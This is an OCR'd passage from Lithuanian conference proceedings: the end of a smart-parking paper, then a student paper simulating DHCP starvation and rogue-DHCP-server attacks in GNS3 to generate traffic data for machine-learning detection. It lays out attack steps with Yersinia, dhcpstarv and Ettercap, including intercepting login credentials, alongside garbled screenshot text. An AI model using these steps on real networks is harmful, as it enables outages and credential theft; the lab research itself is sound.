dalies i kitg. Serveris atlicka duomeny apdorojima ir, esant poreikiui, grazina Sifruota
atsakyma atgal j kliento aplikacija. Si schema akcentuoja svarby duomeny $ifravimo ir
saugaus saugojimo procesa, kuris yra biitinas norint uztikrinti visos sistemos saugumg ir
patikimuma.
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3 pav. Duomeny $ifravimo ir saugumo schema parkavimo valdymo sistemoje
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ISvados

Efektyvus ir greitas parkavimo viety paskirstymas yra esminis siekiant
pagerinti vartotojy patirtj ir sumazinti eismo spistis. Sillomas sprendimas yra sukurti
integruota parkavimo sistema, kuri automatiskai paskirty parkavimo vieta kiekvienam
vairuotojui pravaziavus pro kelio uztvara.

Sékmingas parkavimo viety valdymas priklauso nuo pazangiy technologijy,
tokiy kaip IoT sensoriai ir §viesos indikatoriai, integraCijos. Sprendimas apima $iuos
komponentus: kelio uZtvara su integruotais sensoriais - tai yra pirmasis kontakto taskas
su vairuotoju. Cia sensoriai nuskaito atvykstantj automobilj ir perduoda signalg j
centrinj serverj. Centrinis serveris apdoroja gautg informacija ir, remiantis esama
parkavimo viety uzimtumo situacija, automatiskai paskiria laisva parkavimo vieta
vairuotojui. Mobilioji aplikacija informuoja vairuotoja apie jam paskirta parkavimo
vietg ir pateikia mar§ruta iki jos. Taip pat aplikacija leidzia vairuotojams matyti savo
istorija ir kita informacijg. Parkavimo viety sensoriai ir §viesos indikatoriai Kiekvienoje
parkavimo vietoje esantys sensoriai nustato vietos bliseng (uzimta/arba laisva), o
Sviesos indikatoriai (Zalia $viesa laisvai vietai, raudona - uzimtai) padeda vairuotojams
lengvai orientuotis parkavimo aiksteléje.

Naudotojo sasajos supaprastinimas: aiski ir intuityvi naudotojo sgsaja yra
biitina, kad vartotojai lengvai ir greitai galéty suvokti bei naudotis sistema. Sis
sprendimas ne tik supaprastins parkavimo procesg, bet ir padés efektyviai iSnaudoti
parkavimo erdve, mazinti eismo spistis ir pagerinti vairuotojy patirtj. Taip pat Sis
modelis uztikrina didesnj parkavimo efektyvumg ir didina vartotojy pasitenkinima,
mazindamas laika, praleidziamg ieskant laisvos vietos.

ISmaniosios parkavimo sistemos gali reikSmingai prisidéti prie ekonominiy ir
ekologiniy tiksly. Sumazgjes laikas ieSkant parkavimo vietos mazina degaly
suvartojima ir emisijas, o efektyvesnis parkavimo viety naudojimas padeda geriau
iSnaudoti miesto infrastruktiira.

Nuolatiné parkavimo sistemy priezilira ir atnaujinimas yra bitini siekiant
uztikrinti jy efektyvuma ir patikimuma. Reikalinga reguliari techniné prieziira,
programinés jrangos atnaujinimai ir saugumo priemonés, siekiant uztikrinti sklandy
sistemos veikimg ir apsaugoti duomenis nuo kibernetiniy grésmiy.

ISmaniosios parkavimo sistemos Zenkliai gerina naudotojy pasitenkinima.
Vairuotojai gali greiiau rasti laisvg parkavimo vieta, sumazéja streso lygis, o taip pat
pageréja bendra vairavimo patirtis. Mobiliosios aplikacijos suteikia galimybe realiu
laiku matyti laisvas parkavimo vietas, rezervuoti vietas ir atlikti mokéjimus.

Apibendrinant, iSmaniosios parkavimo sistemos yra bitinos siekiant
modernizuoti miesto parkavimo infrastruktiira, pagerinti vartotojy patirtj, sumazinti
eismo spiistis ir prisidéti prie tvaraus miesto vystymo. Investicijos j tokias sistemas yra
naudingos tiek ekonominiu, tiek ekologiniu pozitiriu.
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Summary

The focus of this paper is a smart parking project that aims to modernise urban parking
infrastructure and improve the driver experience. In the paper, main components of smart parking
systems such as 10T sensors, light indicators and automatic parking space allocation are explored,
and the benefits of such systems, including more efficient use of parking spaces, reduced traffic
congestion, economic and environmental benefits are highlighted. In addition, the need for regular
maintenance and updating of the systems to ensure its efficiency and reliability is emphasized. In
conclusion, the benefits of smart parking systems and recommendations for their implementation
are stipulated. This paper is an important resource for both the public and private sectors
considering the deployment of smart parking solutions and their potential to improve urban
infrastructure.
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DHCP protokolo ataky simuliavimas GNS3 aplinkoje

Tautvydas Mikelionis, Paulius Baltrusaitis
Kauno kolegija

Anotacija. DHCP protokolo ataky automatinis aptikimas ir savalaikis
uzkardymas, ypatingai bevielio rysio atviros prieigos erdvéje, lieka sprestina problema.
Masininio mokymosi metody Sios nusikalstamos veikos uzkardymui taikymas suteikia
papildomy perspektyvy. Didelj tinkamy duomeny, atspindinc¢iy nusikalstama veikla,
kiekiai tampa pagrindine masininio mokymosi taikymo prielaida. D¢l saugumo
reikalavimy duomeny generavimas realioje aplinkoje negalimas, taciau tam galima
pasitelkti saugiag simuliacing aplinka. Straipsnyje analizuojamos DHCP protokolo
atakos ir scenarijai. Apibudinami S§ias atakas atspindintys kompiuterio tinklu
perduodami duomenys. ApraSoma Siems scenarijams simuliuoti parengta ,,GNS3*
platforma. Pateikiami scenarijy simuliacijy rezultatai ir jy vertinimai bei i§vados.

Raktiniai Zodziai: DHCP atakos, ataky simuliavimas ,,GNS3“, duomeny
generavimas, DHCP Rogue Server.

Ivadas

Siuolaikiniame pasaulyje, kai technologijos yra neatsiejama miisy gyvenimo
dalis, tinklo ir interneto saugumas tampa labai svarbiu faktoriumi ir reik§mingu
klausimu visiems. Didéjantis interneto naudojimas, mobiliyjy jrenginiy, kompiuteriy,
serveriy bei jmoniy skai¢iaus augimas ir besiplecianti interneto infrastruktiira verc¢ia
imtis vis grieZtesniy apsaugos priemoniy panaudojimo bei Ziniy jgijimo siekiant
apsaugoti miisy visy ar jmonés duomenis ir uztikrinti tinklo patikimumg. Taciau kartu
su technologinémis pazangomis atsiranda ir naujos kibernetinés atakos, grésmés ir
i§8tkiai, kurie kelia rimtg pavojy miisy asmeniniy duomeny ir tinkly saugumui. Nuo
verslo komunikacijos iki kiekvieno i§ miisy asmeniniy susirasingjimy, beveik viskas
Siandieng priklauso nuo interneto. Tai labai palengvina miisy kasdienybe, suteikia
daugiau laisvés ir ekonomiskumo dirbant, suteikia daugiau galimybiy verslo spektre,
taciau tai reiskia, kad tinklo infrastruktiiros sauga tampa esmine organizacijy, imoniy ir
kiekvieno Zmogaus prioritetu.

Kartu su technologinémis pazangomis atsiranda ir naujos kibernetinés grésmés
ir jy padariniai bei i§8tikiai, kurie kelia rimtg pavojy tinklo ir duomeny saugumui. Nuolat
besivystantis kibernetinis karas ir jo krastovaizdis reikalauja nuolatinio tobuléjimo ir
igyvendinimo saugumo priemoniy, kurios biity atsparios naujoms dar neregétoms,
neatpazjstamoms atakoms ir pazeidziamumams. Naujy technologijy diegimas sukelia
nemazai i88tikiy, nes jie daznai remiasi ,,DHCP* protokolu ir taip kiekviena prijungta
prietaisy grupé tampa potencialu taikiniu kibernetiniams jsilauzéliams.

Viena i§ esminiy kibernetinés saugos problemy yra susijusi su dinaminiu
prievady konfigtiracijos protokolu (DHCP), kuris yra vienas i§ pagrindiniy tinklo
valdymo jrankiy, leidziantis automatiskai priskirti IP adresus jvairiems tinklo
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jrenginiams. Nors pats ,,DHCP* suteikia didelj lankstumg ir efektyvumg tinklo
administravime, taip pat jis gali tapti potencialiu taikiniu kibernetiniy ataky rengéjams.

Siame darbe bus nagrinéjamas DHCP protokolo ataky simuliavimas naudojant
,»,GNS3“ (Graphical Network Simulator-3) erdve. ,,DHCP“ yra svarbus tinklo
protokolas kuris automatiskai sugeba priskirti IP adresus tinklo jrenginiams, tac¢iau kaip
ir visi protokolai taip ir $is turi silpny ir pazeidziamy viety. Sis protokolas gali bati
pazeistas tokiy ataky kaip ,,DHCP starvation* arba ,,DHCP Rogue Server®.

Tyrimo tikslas — istirti simuliacinés ,,GNS3* aplinkos galimybes, jgyvendinti
DHCP protokolo atakas ir sugeneruoti pakety srautus ataky ypatumy analizei ir
masininiam mokymuisi.

Tyrimo objektas — DHCP protokolo ataky simuliacija naudojant ,,GNS3*.

Pagrindiniai uZdaviniai:

e [Sanalizuoti DHCP protokolo ataky ypatumus.

e Parengti ,,GNS3“ simuliacing aplinkg ataky jgyvendinimui ir duomeny
srauty fiksavimui.

o Atlikti simuliacijas ir stebéti jy rezultatus bei padarinius.

o [vertinti gautus rezultatus ir pateikti rekomendacijas kaip galima apsisaugoti
nuo DHCP ataky realiame tinkle.

Tyrimui buvo naudojama literatiiros analizé bei ataky simuliacija (Edgar,
Manz, 2017) ,,GNS3* aplinkoje. Taip pat buvo naudojami jvairiis jrankiai, leidziantys
atlikti atakas, stebéti tinklo srautg ir analizuoti praneSimy perdavimo procesa.

DHCP ataky analizé

DHCP ataky i$samig analiz¢ galima jvairiuose interneto Saltiniuose (Gihan,
2021, Undag, 2016). Jos iSsamiai aprasytos, paaiSkintos galimos pasekmés.

DHCP Starvation — tai ataka, kai agresyvus kliento (arba jrenginio) jrankis
prisiima daugybe DHCP adresy i§ serverio. Jis siunéia daugybe ,,DHCP* uzklausy,
sickdamas i$naudoti visus ar didZiaja dalj ,,DHCP* adresy, paliekant kitus klientus be
tinklo rysio. Si ataka persidengia su (spoofing) atakomis, kai kiti klientai negali gauti
galiojanciy IP adresy.

DHCP Rogue Server — tai ataka, kurioje asmuo ar jrenginys veikia kaip
neteisétas DHCP serveris tinkle. Jis skleidzia netinkamus ,,DHCP adresus klientams,
kurie tada gali buiti nukreipti | kenksmingus arba netinkamus tinklo rysio taskus. Tai
leidzia uzpuolikui stebéti, keisti ar netgi uzkariauti klienty duomenis.

Pasekmés — abi Sios atakos gali sukelti rimty pasekmiy tinklo veikimui.
Klientai gali biiti atjungti nuo tinklo arba biiti nukreipti i kenksmingus tinklo resursus,
pavyzdziui, ,,phishing‘o® svetaines arba kenksmingus serverius. Tai gali sukelti
duomeny nutekéjima, paslaugy nutraukimg ar net finansinius nuostolius organizacijai.

Veikimo paaiskinimas — ,,DHCP Starvation* ataka veikia pernelyg apkraunant
tinklo DHCP serverj, taip uzkertant kelig teisingam klienty prijungimui prie tinklo.
,DHCP Rogue Server ataka veikia nustatant neteiséta ,,DHCP* serverj tinkle, kuris
skleidzia netinkamus IP adresus. Ypatumai: atakos yra subtilios, nes jos naudojamos
tinklo protokoly spragoms iSnaudoti. Tai gali biiti sunku aptikti, ypac jei néra tinkamai
konfigtiruoty saugumo mechanizmy.
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Nusikalstamos veikos pozymiai tinklo duomeny sraute. DHCP starvation
ataka — tinklo paketuose gali buti pastebima pernelyg daug ,,DHCP* uzklausy, labai
intensyvus srautas i§ vieno ar keliy IP adresy, siekiant uzkrauti ,,DHCP* serverj.

DHCP Rogue server ataka — Sios atakos metu, tinklo paketuose galime
pastebéti neteisétus ,,DHCP* serverio atsakymus, Sie atsakymai skleidziami klientams,
todél jie gauna neteisingus arba kenksmingus IP adresus ir konfigiiracijas.

Netinkamas ARP naudojimas — kai kuriy ataky metu galima pastebéti
netinkamus ,,ARP* eilés naudojimo atvejus, apkeistus ar neteisingus ,,ARP* atsakymus.

IP/MAC neatitikimas — ,,DHCP Rogue server” atakos metu, tinklo paketuose
galime pastebéti neteisingas ,,IPIMAC* susiejimo poras kurios pateikiamos klientams.

Batini duomenys pazeidimo identifikavimui. Paketo tipas — Tai gali padéti
identifikuoti neteisingus paketus. IP adresai: Tinklo paketuose esantys IP gali parodyti
neteisingg IP priskyrimg ar kitas veiklas. MAC adresai — ,,MAC* adresas gali bati
naudingas identifikuojant neteisétus jrenginius.

Tinklo srauto intensyvumas — didelis intensyvumas tinkle i$ vieno ar keliy
pasikartojanciy IP adresu gali reiksti ataka.

Nusikalstamos veikos scenarijai. DHCP Starvation atakos etapai — (1)
jsitikinama, kad turima prieiga prie tinklo, kurj norima atakuoti; (2) jdiegiama Kali
Linux operaciné sistema arba kitas tinklo testavimo jrankis, kuriame yra ,,DHCP
Starvation® jrankis, tokia kaip ,,DHCPig® ar ,,Gobbler*; (3) pasiruos$iama tinklo sasaja,
per kurig vyks ataka.

DHCP serverio IP adreso identifikavimas — tinklo ,DHCP*“ adresas
identifikuojamas ,,Nmap* ar ,,ARP-scan jrankiu.

DHCP Starvation atakos paleidimas — atidaromas terminalas Kali Linux
operacinéje sistemoje arba kitame tinklo testavimo jrankyje. [raSoma komanda, norint
paleisti ,,DHCP Starvation® atakg. Pavyzdziui: dhcpstarv -i <tinklo sasajos
pavadinimas> -r <pradinis IP adresas> -v <tinklo sgsajos pavadinimas> - nurodo tinklo
s3saja, per kurig bus vykdoma ataka. <pradinis IP adresas> - nurodo pradinj IP adresa,
nuo kurio prasidés ataka. Tai gali buti tinklo IP adresas, pavyzdziui, 192.168.1.1. -v -
(neprivaloma) pasirinktiné parametras, kuris jjungia i$samius jvykiy Zurnalus.

DHCP Starvation atakos paleidimas yersinia aplinkoje — atidaromas Kali
Linux terminalas ir raSoma ,,sudo su“ ir slaptazodis. Kali Linux terminale raoma
Yersinia -l, spaudziama G raidé, pasirenkama DHCP aplinka. Spaudziama x ir
pasirenkama 1 pazyméta ataka.

Atakos eigos stebéjimas — ataka vyksta automatisSkai ir pradeda siysti didelj
kieki DHCP uzklausy i tinkla. Stebima atakos eiga ir analizuojama, naudojant tinklo
nustatymo jrankius arba Wireshark, i§samiai analizei. Duomeny kaupimui naudojama
Tshark aplinka.

Baigimas — kai ataka baigsis, galima sustabdyti DHCP Starvation jrankj ir
baigti analizuoti atakos pasekmes.

DHCP Rogue Server atakos etapai
Paruosimas — pasiruoSiama tinklo sgsaja, per kurig vyks ataka. Jsitikinama, kad
turima administratoriaus prieiga prie tinklo, kuriame norima atakuoti. Paruosiama tinklo
topologija su ,,GNS3“.
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Idiegimas — reikiamos programos yra Kali Linux aplinkoje.

Atakos konfigiiravimas: nurodoma tinklo sgsaja, per kurig vyks ataka ir Kitus
parametrus, kurie yra reikalingi atakai. Pasirenkama tinklo sgsaja, kuri bus naudojama,
ir kiti atakos parametrai pagal savo poreikius.

Atakos paleidimas — Atidaroma programa Ettercap, sukuriamas Rogue
Serveris, suraSomos IP adresy ribos, netmask‘as ir ,,DNS* serveris. Spaudziamas OK
mygtukas, atidaromas WireShark ir atidaromas atakuojamas kompiuteris su Windows
10 aplinka. Atidaromas cmd arba powershell, ra§oma komanda ,,ipconfig* pasizitirima,
kokie yra IP adresai. Rasoma komanda ,,ipconfig /release® poto ,,ipconfig /renew*.

Atakos eigos stebéjimas — pajungiamas ,,WireShark“ jrankis, suvedamos
reikiamos komandos ir po komandos ,ipconfig /renew®. Stebima ar pasikeité
atakuojamo kompiuterio IP adresas kuris turi biti tarp nurodyto ,,dhcp pool* adresy
ribos kuri buvo nustatyta ,,Ettercap” programoje kuriant ,,DHCP* serveri. Stebima
,WireShark® programoje siunc¢iami paketai.

Baigimas: uzdarome Ettercap programa.

GNS3 simuliaciné aplinka duomeny generavimui — norint sukurti simuliacine
aplinka ,,GNS3“ platformoje reikia pasirinkti ir pasidaryti tam tikra topologija, susikurti
savo tinklg. Kadangi musy tikslas istirti ,,DHCP* atakas, miisy topologijai reikalingi
visi tinklo elementai nusikalstamoms veikos vykdyti. Tai apima ,,DHCP* serverius,
klienty jrenginius, marSrutizatorius, komutatorius ir kitus tinklo jrenginius. Tinklo
konfigiiracija turi biiti sukurta taip, kad biity galima atlikti nusikalstamas veikas, tokias
kaip ,,DHCP Starvation* ar ,,DHCP Rogue Server* atakas bei rinkti tinklo duomenis.
Norint jgyvendinti §ias atakas, reikés virtualios aplinkos. Virtuali tinklo simuliacijos
platforma, Siuo atveju naudojama GNS3 (GNS3, n.d), taciau galime pasirinkti ir
,,Cisco* Packet Tracer. Taipogi reikia jrankiy su kuriais galima sukurti virtualias
masinas, tam naudojama ,,VirtualBox“ (VirtualBox, n.d.) arba ,,VMware®, su jomis
imituojami klienty kompiuteriai, bei vykdomos nusikalstamos veikos.

Duomeny parengimas analizei — duomenys surenkami stebint tinklo srautg su
,»Wireshark® (Wireshark, n.d.) jrankiu. ,, TShark® (TShark, n.d.) jrankis naudojamas
duomeny filtravimui, leidZiantis pasirinkti specifinius laukus arba paketus ir juos
i88ifruoti 1§ ,,Wireshark® programos. Surinkti duomenys saugomi jvairiose vietose,
iskaitant galimyb¢ naudoti duomeny baze¢. Galiausiai, surinkti duomenys pateikiami
,,CSV* formato failais, kurie lengvai tvarkomi jvairiuose analizés jrankiuose.

Simuliacija

Sis skyrius skirtas apradyti aplinka ir jrankius, kurie buvo naudojami
simuliacijos vykdymui. Cia bus suteiktas isamus sistemos architektiiros apibiidinimas
apimantis tinklo topologija ir papildomas schemas, jei jos reikés. Taip pat bus pateikti
naudoti scenarijai, simuliacijos eiga ir kitos svarbios informacijos detalés, leidziancios
kitiems atlikti analogiSka eksperimenta, remiantis aprasytu.

DHCP Starvation ataka —topologija (1 pav.) sudaryta i§ vieno marSrutizatoriaus,
kuris naudojamas kaip DHCP serveris, vieno komutatoriaus ir atakuojancio kompiuterio
su Kali Linux (Kali Linux, n.d.) platforma ir ,,Yersinia“ programa.
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KaliLinux-1

1 pav. GNS3 tinklo topologija DHCP Starvation atakai

VMware
-l- WireShark
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Kali linux

Yersinia

1l

2 pav. Sistemos architektiira

Viena i§ ataky — DHCP Starvation ataka. Tai agresyvi kliento ar jrenginio
ataka, kurios metu jrenginys prisiima daugybe DHCP adresy i§ serverio. Atakuojantis
siuncia daugyb¢ DHCP uzklausy, sickdamas i$naudoti visus ar didZigja dalj DHCP
adresy, paliekant kitus klientus be tinklo rySio. Si ataka persidengia su spoofing
atakomis, kai kiti klientai negali gauti galiojanc¢iy IP adresy. Dél Sios priezasties klienty
jrenginiai negali gauti IP adreso ir prieigos prie tinklo.

Simuliacijos eiga — atsisiysta ,,GNS3“ ir ,,VMware* platformos, tada sukurta
»GNS3“ pagalba tinklo topologija (1 pav.) leidzianti atlikti atakas. Pradzioje
konfigliruotas R1 marsrutizatorius, priskirtas IP adresas ir sukurta IP adreso ,,pool®,
taciau ,,pool'e* nebuvo jokiy IP adresy. Nustatomos IP adresy ribos nuo 192.168.1.1 iki
192.168.1.254 (3 pav.). Po konfigliravimo atakuojancio Kali Linux terminale jvedame
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wsudo su®“ ir slaptazodj. Terminale rasoma ,yersinia -I“ komanda ir atidaroma
programos aplinka (4 pav.). Spaudziama "g" raidé ir pakeiciama aplinka, matomos R1
siunciamos ,,offer uzklausos, reikalaujancios naujo IP adreso. Paspausta "x" ir
pasirinkta ataka skai¢iumi 1, pradéta siysti klaidingus IP adresus. ,,GNS3* atidaryta
jungtis tarp R1 ir komutatoriaus (,,Switch") pazyméta, pasirinkta ,,Capture" ir stebéta
siun¢iami paketai naudojant ,,WireShark“ (5 pav.). Kali Linux atidarytas naujas
terminalas, naudojant ,,tshark" generuojami duomenys (9 pav.). Po keliy sekundziy
ataka sustabdyta, spaudziant ,,K", véliau - ,,Y". Matyti, kad R1 turéjo 105 naujus IP
adresus, palyginti su pradiniu 0 (8 pav.). Duomeny generavimui naudotas TShark,
komanda: tshark -T fields -e frame.number -e frame.time -e eth.src -e eth.dst -e ip.src -
e ip.dst -e ip.proto -E header=y -E separator=, -E quote=d -E occurrence=f > test.csv.
Pateikiama nuotraukos bendram supratimui.

Rl#conf t )
Enter configuration commands, one per Tine. End with CNTL/Z
R1(config)#ip dhcp pool DHCP
R1(dhcp-config) #netw
R1(dhcp-config)#network 192.168.1.0 255.255.255.0
R1(dhcp-config)#def
R1(dhcp-config)#default-router 192.168.1.1 255.255.255.0
R1(dhcp-config) #EX
R1(config)#int f0/0

A

% Invalid input detected at 'A' marker

R1(config)#int f0
R1(config-if)#ip add 192.168.1.1 25

INK-3-UPDOWN: Interface FastEthernet0, changed state to up
INEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0, changed state to up

ar 1 _0f
Rl((nnflg)“e t

Mal 1 00:08:32.911: %SYS-5-CONFIG_I: Configured from console by console
R1#sh ip dhcp pool

Pool DHCP :

utilization mark (high/low)

Subnet size (first/next)

Total addresses

Leased addresses

pPending event :

1 subnet is cunent‘\y m the pool :

Current index address range Leased addresses
192 168.1.1 - 192.168.1.254 0

Bindings from all pools not associated with VRF:

IP address CTient-1ID, Lease expiration
Hardware address/
User name

3 pav. R1 konfigtiracija ir pradinis vaizdas kuriame
matoma IP adresy ribos ir priskirtg 0 [P

MessageType Iface Last seen

f
;
;
E
E
FFER
E
E
E

4 pav. Atakuojanc¢io kompiuterio Yersinia programos palinka ir pradinis vaizdas kai
R1 mar§rutizatorius reikalauja IP adreso, matoma OFFER paketas, R1 IP adresas ir
kita informacija
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Edit View

948753365
959860559
968016422
.970933513
.971085335
982328601
.982433927
008955064
009123712
.035683555
.835848389
.046899221
847681343
.104563035
104827807
131312398
.131532547
.142974916
.143268826
.169148980
169383045
.180765819
189904527
.191888730
.192126626
279960131
.280145386
306601883
.306788844
.317947852
.318179563
.329078825
.329275544
.734447473
736593379
.340424941
340613775
742199706
747809754
.413426698
.413660746
448260277
448456814
.451676650
451930626
.478437180
86.031037444
147,403338842

re Analyze Statisti phony Tool

B a ¢«

00:01:2e:€4:
192. 168 1.1
de:01 4: 01
192.168.1 1

192.168.1.1
de:01 4: 01
192.168.1.1
d0:01:2e:ed: 0
192.168.1.1

4: 01
192.168.1.1
de:01:2e:ed:0
192.168.134.
192.168.134
192.168.1.1
do:01:2e:ed
192.168.134.
192.168.134.
192.168.1.1
d0:01:2e:e4:0
192.168.1.1
d0:01:2e:e4d

d0:01:2e:ed:

>0« >R B

Broadcast
255.255.255.
Broadcast
255.255.255.
Broadcast
255.255.255.
Broadcast

255.255.255.
Broadcast
255.255.255.
Broadcast
255.255.255.
Broadcast
255.255.255,
Broadcast
255.255.255.
Broadcast
255.255.255.
Broadcast
255.255.255,
Broadcast

Broadcast
255.255.255.
Broadcast
255.255.255.
Broadcast

255.255.255.
Broadcast
239.255.255.
239.255.255.
255.255.255.
Broadcast
255.255.255.
Broadcast
255.255.255,
Broadcast
255.255.255

s Help

Length Info

SSOP
DHCP
ARP
DHCP
ARP
DHCP
ARP

COP/VTP/DTP/PAGP/UD... COP
COP/VTP/DTP/PAGP/UD... COP

S 192.168.1.867 Tell 192.168.1.1

66 Who_has

342 DHCP Offer
60 Who has 192.
342 DHCP Offer

342 DHCP Offer
0 Who has 192.
342 DHCP Offer
0 Who has 192.
342 DHCP Offer
60 Who has 192.
217 M-SEARCH * HTTP/1.1
217 M-SEARCH * HTTP/1.1
342 DHCP Offer

217 M-SEARCH

- Transaction ID
168.1.877 Tell 192.168.
- Transaction ID

.168.1.887 Tell 192.168.1.1

- Transaction 1D

.168.1.897 Tell 192.168.1,

- Transaction ID

.168.1.907 Tell 192.168

- Transaction ID

.168.1.917 Tell 192.168.

- Transaction ID

.168.1.927 Tell 192.168.1.1

- Transaction ID

.168.1.937 Tell 192.168.1.

- Transaction ID

.168.1.947 Tell 192.168.

- Transaction ID

.168.1.957 Tell 192.168.

- Transaction ID

.168,1.967 Tell 192.168.1

- Transaction ID

.168,1.977 Tell 192.168.1

- Transaction ID

.168.1.987 Tell 192.168.

- Transaction ID

.168.1.997 Tell 192.168.1

- Transaction
60 Who has 192.168.1.1037 Tell 192.168.1
* HTTP/1.1
217 M-SEARCH * HTTP/1.1

342 DHCP Offer - Transaction

- Transaction Ii
168.1.1007 Tell
- Transaction
168.1.1017 Tell
- Transaction
168.1.1027 Tell 192.168.1

0 Who has 192.168.1.104? Tell 192.16!

342 DHCP Offer

- Transaction

0 Who has 192.168.1.105? Tell 192.

342 DHCP Offer

342 DHCP Offer
349 Device ID: R1
349 Device ID: R1

- Transaction
66 Who has 192.168.1.1067 Tell 192.168.1
- Transaction
Port 10: FastEthernet®
Port ID: FastEthernet®

exstséeass
exaA:csnss
exsaacsuos
axstacssss
9:64309869
ensa;cgaas
exaaacsuss
9!6‘3c9369
s:oA:cgseg
oxoascgsﬁs
exanacsass
ex543c9369

GKGAJCSBGB

10 exsdscssse

10 estJcsuss

0 exaascsses

10 exoasceuﬁs

1 axonzcsuss

1 Gx643c9865

5 pav. Matoma WireShark vaizdas ir siun¢iami paketai, programa fiksuoja tuos pacius
OFFER paketus kurie siun¢iami ir j Yersinia aplinka

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
mage R QEemEF & = Q@ Q T 22

(W] Apply a display filter .. <Ctl

No. Time Source Destination Protocol Length Info
49191 69.953330 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID @x643c9869
49192 69.953795 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID @x643c9869
49193 69.954793 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID ©x643c9869
49194 69.955465 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID ©x643c9869
49195 69.956290 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID ©x643c9869
49196 69.956794 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID ©x643c9869
49197 69.957394 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID ©x643c9869
49198 69.958287 0.0.0.9 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID @x643c9869
49199 69.958928 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID ©x643c9869
49200 69.959783 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID @x643c9869
49201 69.960288 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID ©x643c9869
49202 69.960787 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID ©x643c9869
49203 69.961784 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID ©x643c9869
49204 69.962285 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID ©x643c9869
49205 69.963282 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID ©x643c9869
49206 69.963940 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID ©x643c9869

6 pav. Vaizdas po atakos pradzios ir daugybé klaidingai siun¢iamy pakety
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192.168.1.1 5 .1.2 105
binding
m all pools not associated with
client-ID L expiration Type
Hardwar
user name
01 2002 12:14 Automatic
- 01 2 C
Automati
Automatic

Automatic
Automatic

Automatic
Aut ti
Automatic

T 1 A 1 7 e e e B e

Automatic
Automatic

Automatic
Automatic
Automatic
Automatic
Automat
Automatic
Automatic
Autom:
Automatic
Automati
Autom:
Automatic
Automatic
Autom:
Autom:
Automat
Autom:
Automatic
Automat
Automa
Automa
2002 6 Automat
Mar 01 2002 Automat

7 pav. R1 marsrutizatorius po atakos.

number, frane. time, et

8 pav. WireShark tinklo srauto duomenys po $ifravimo,
pasitelkta Kali Linux ir TShark jrankis



DHCP Rogue server
Topologija (9 pav.): topologija sudaro: du kompiuteriai, atakuojantis ir
atakuojamas, marsrutizatorius ir komutatorius.

Windows10x64-1

\\ Switchl R1

KaliLinux-1

9 pav. GNS3 tinklo topologija DHCP Roque server atakai

Ataka — DHCP Rogue Server ataka kai asmuo ar jrenginys veikia kaip
neteisétas DHCP serveris tinkle, jis skleidZia netinkamus DHCP adresus klientams,
kurie tada gali biiti nukreipti | kenksmingus arba netinkamus tinklo rySio taskus. Tai
leidzia uzpuolikui stebéti, keisti ar netgi uzkariauti klienty duomenis.

Simuliacijos eiga — su ,,GNS3“ sukurtas tinklas, kuriam buvo naudojamas
vienas ,Switch®, keli kompiuteriai — vienas atakuojantis, Kkitas Kkliento Dbei
marSrutizatorius. Paleista ,,GNS3“ aplinka ir Kali Linux, atidaroma programa
,Ettercap®, pasirinkta ,,primary interface” pagal esant] tinklg. Paspaudus gaublj
virSutiniame deSiniame kampe pasirenkama ,,DHCP spoofing®. Sukurtas ,,DHCP
Rogue serveris® (10 pav.). ,,Pool‘e” nustatytos ribos, $iuo atveju buvo 192.168.1.50-
100, ,,subnet mask 255.255.255.0 ir DNS serverio IP - buvo atakuojancio IP. Sukurtas
DHCP serveris, tada atidaryta R1 konsolé ir i§jungta ,,dhcp service* aplinkybé, jog biity
paprascCiau atlikti atakg su komanda: ,,conf t“ > ,no dhcp service®. Tada pajungtas
kliento kompiuteris ir atidaryta ,,cmd*“ arba windows powershell, suvesta komanda:
ipconfig /release”, po Sios komandos jvesta: ,ipconfig /renew™ (12 pav.). Po $iy
veiksmy matoma, jog naujas IP adresas yra tarp nustatyty pool riby, o ,,default gateway*
atakuojancio kompiuterio IP adresas (13 pav.). Prisijungta | tinklg arba svetaing, kur
reikia jvesti prisijungimo duomenis. ,Ettercap® programoje matomi http svetainés
duomenys bei prisijungimai. Stebéjimui naudota ,,Wireshark* aplinka (14 pav.).
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File Actions Edit View Help

/home/tautvydas

/home/tautvydas

10 pav. Ettercap programa ir DHCP Rogue Serverio kiirimas

DHCP: [192.168.24.157] OFFER :192.168.24.54 255.255.255.0 GW 192.168.24.157 DNS 192.168.24.157

11 pav. Ettercap sitilomas IP adresas bei kita konfigiiracija

ES Administrator: Komanding eiluté — o ®

12 pav. Kliento kompiuterio IP duomenys prie§ pradedant ataka, matoma kad IP yra
169.254.70.61

13 pav. priskirtas klaidingas IP adresas po atakos, matoma kaip pasikeité IP po atakos
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s *eth0

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AOA® S EBRBEB 2 « >»n « »BE= oe o[@{
Mg ]

Protocol

No. i Destination
H 5851 732.383561244 . . 255.255
| 5883 739.460865193 . . 255.255

Length Info
582 DHCP
344 DHCP
582 DHCP
352 DHCP
335 DHCP
342 DHCP
335 DHCP
342 DHCP
341 DHCP
342 DHCP ACK

5885 739.463312935 . . 255.255
5886 739.616191532 192 5 255.255
5888 767.281281586 0.0.0. . .255.255
D889 767.281834881 192. .18, . .255.255
5890 767.282036409 0.0.0. . .255.255
D896 768.291617175 192.
5897 768.291730813

5898 768.296246299 192

10.130
.255.255
10.130

Dynamic Host Configuration Prot (Discove

14 pav. DORA uzklausos, matomas srautas po to kai paleidziama ataka

Simuliacinio tyrimo rezultatai ir jy aptarimas

